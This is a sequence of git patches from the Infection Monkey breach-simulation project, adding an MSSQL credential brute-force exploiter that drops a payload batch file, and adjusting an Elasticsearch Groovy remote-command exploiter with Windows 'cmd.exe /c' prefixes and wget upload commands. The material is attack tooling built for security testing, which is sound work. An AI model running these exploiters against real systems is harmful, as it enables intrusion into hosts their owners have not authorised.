a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -23,6 +23,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -670,6 +677,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From c47047c815da8dd8367dcc3223ca4580f430af9c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 16 Jan 2019 16:15:18 +0200 Subject: [PATCH 67/71] Added CMD prefix to windows commands that check for exploitability and upload monkey. --- .../infection_monkey/exploit/elasticgroovy.py | 21 +++++++++++++++++-- monkey/infection_monkey/model/__init__.py | 2 ++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 9eb64682b..2de001ba3 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE): return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None + + def check_if_exploitable(self, url): + # Overridden web_rce method that adds CMD prefix for windows command + try: + if 'windows' in self.host.os['type']: + resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + else: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False \ No newline at end of file diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 35a63f2a2..e6c2e63a5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" From dfe6cf073ed241d4ea07358fe79029a3544f962d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 15:13:48 +0200 Subject: [PATCH 68/71] - Added dynamic file creation on runtime instead of a static payload file --- monkey/infection_monkey/exploit/mssqlexec.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5c3c92600..1ffbd973e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -22,6 +22,21 @@ class MSSQLExploiter(HostExploiter): self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] + @staticmethod + def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + """ + This function creates dynamically the payload file to be transported and ran on the exploited machine. + :param payload_path: A path to the create the payload file in + :return: True if the payload file was created and false otherwise. + """ + try: + with open(payload_path, 'w+') as payload_file: + payload_file.write('dir C:\\') + return True + except Exception as e: + LOG.error("Payload file couldn't be created", exec_info=True) + return False + def exploit_host(self): """ Main function of the mssql brute force @@ -29,6 +44,9 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + + if not MSSQLExploiter.create_payload_file(): + return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) From 9e0fbdaac3cc703c5e396d080a664370545da6ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 16:09:40 +0200 Subject: [PATCH 69/71] - Updated dynamic payload file creation --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1ffbd973e..985394a29 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,3 +1,5 @@ +import os +import platform from os import path import logging @@ -15,15 +17,14 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] - @staticmethod - def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): """ This function creates dynamically the payload file to be transported and ran on the exploited machine. :param payload_path: A path to the create the payload file in @@ -34,7 +35,7 @@ class MSSQLExploiter(HostExploiter): payload_file.write('dir C:\\') return True except Exception as e: - LOG.error("Payload file couldn't be created", exec_info=True) + LOG.error("Payload file couldn't be created", exc_info=True) return False def exploit_host(self): @@ -45,7 +46,7 @@ class MSSQLExploiter(HostExploiter): """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - if not MSSQLExploiter.create_payload_file(): + if not self.create_payload_file(): return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): From c38793b52740a70cc84391d1181291d2cac742c5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 Jan 2019 13:59:00 +0200 Subject: [PATCH 70/71] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a53eb9c5b..6ab6813ce 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,8 @@ Setup ------------------------------- Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). +The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). + Building the Monkey from source ------------------------------- From 0feb19ede52f644eb2fbfaa1d4863d1571ebd42b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 26 Jan 2019 19:42:35 +0200 Subject: [PATCH 71/71] PEP8 stuff --- monkey/common/cloud/aws.py | 3 ++- monkey/monkey_island/cc/resources/exporter.py | 4 +--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index afb69c1fe..2b539de67 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -8,7 +8,8 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() - self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) + self.region = self._parse_region( + urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 1cf0c1b10..e79fabc07 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,6 +1,4 @@ - -class Exporter: - +class Exporter(object): def __init__(self): pass